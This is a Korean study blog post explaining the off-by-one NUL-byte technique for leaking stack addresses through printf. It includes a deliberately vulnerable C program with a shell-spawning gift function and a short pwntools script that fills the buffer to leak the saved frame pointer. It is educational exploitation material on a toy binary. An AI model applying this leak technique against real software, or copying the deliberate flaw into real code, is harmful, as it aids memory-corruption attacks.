반응형
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

ZZoMb1E_PWN

[PWNABLE] Off_By_One 본문

STUDY/PWNABLE_AMD64

[PWNABLE] Off_By_One

ZZoMb1E 2024. 6. 24. 19:16
728x90
반응형

※ 잘못된 부분이 있으면 알려주세요. 확인 후 수정하도록 하겠습니다. ※ 

 

canary leak을 다룰 때도 사용했던 기법이다.

https://whrdud727.tistory.com/entry/PWNABLE-Canary-%EC%9A%B0%ED%9A%8C

 

[PWNABLE] Canary 우회

※ 잘못된 부분이 있으면 알려주세요. 확인 후 수정하도록 하겠습니다. ※ 이전 포스팅에서 canary에 대해 다루었다. 이번에는 그 우회 방법들을 다루겠다. 1. canary leak 2. got overwrite (간단하게만 설

whrdud727.tistory.com

 

canary뿐만 아니라 stack, pie_base, libc_base 등의 값을 leak할 때 가장 많이 사용하는 친구 중 하나이다.

일반적으로 printf()같은 함수들은 문자열을 출력할 때 NULL Byte (\x00)이 나오기 전까지 계속 출력을 시도한다.

 

이때 leak하고자 하는 값 앞까지 NULL Byte가 존재하지 않게 한다면 printf()에 의해서 메모리 주소가 leak이 된다.

 

아래 간단한 예제를 가지고 살펴 보겠다.

 

// gcc -no-pie -fno-stack-protector -z execstack -o ex ex.c
#include <stdio.h>
#include <stdlib.h>

void gift() {
	printf("Hello! ZZoMblE");
	system("/bin/sh");
}
void initialize() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
}
void vuln() {
	char buf[128];
	printf("input : ");

	read(0,buf,128);
	printf("%s",buf);

}
int main() {
	initialize();
	vuln();
	return 0;
}

 

 

한눈에 봤을 떄는 별다른 취약점을 못 찾을 것이다.

여기서 취약한 부분은 read()로 값을 입력받는데 문자열 buf와 같은 크기로 입력을 받고 있는 것이다. 다시 말해서 문자열에 NULL Byte가 존재해야하는데 모든 문자열 버퍼를 채우면 NULL Byte가 존재할 수 있는 공간의 없어진다.

 

 

from pwn import *

target = b'./ex'

p = process(target)
e = ELF(target)

context.log_level = 'debug'

payload = b'a'*128
p.sendafter(b':', payload)

p.interactive()

메모리 값 leak 되는 것을 확인하기 위해 debug 모드를 사용했다.

 

vuln()의 sfp가 leak이 된 것을 확인할 수 있다.

 

 

728x90
반응형

'STUDY > PWNABLE_AMD64' 카테고리의 다른 글

[PWNABLE] FPO  (0) 2024.06.24
[PWNABLE] Out Of Bounds  (0) 2024.06.24
[PWNABLE] One_Gadget  (0) 2024.06.24
[PWNABLE] DSFSB  (0) 2024.06.24
[PWNABLE] fmtstr_payload  (0) 2024.06.24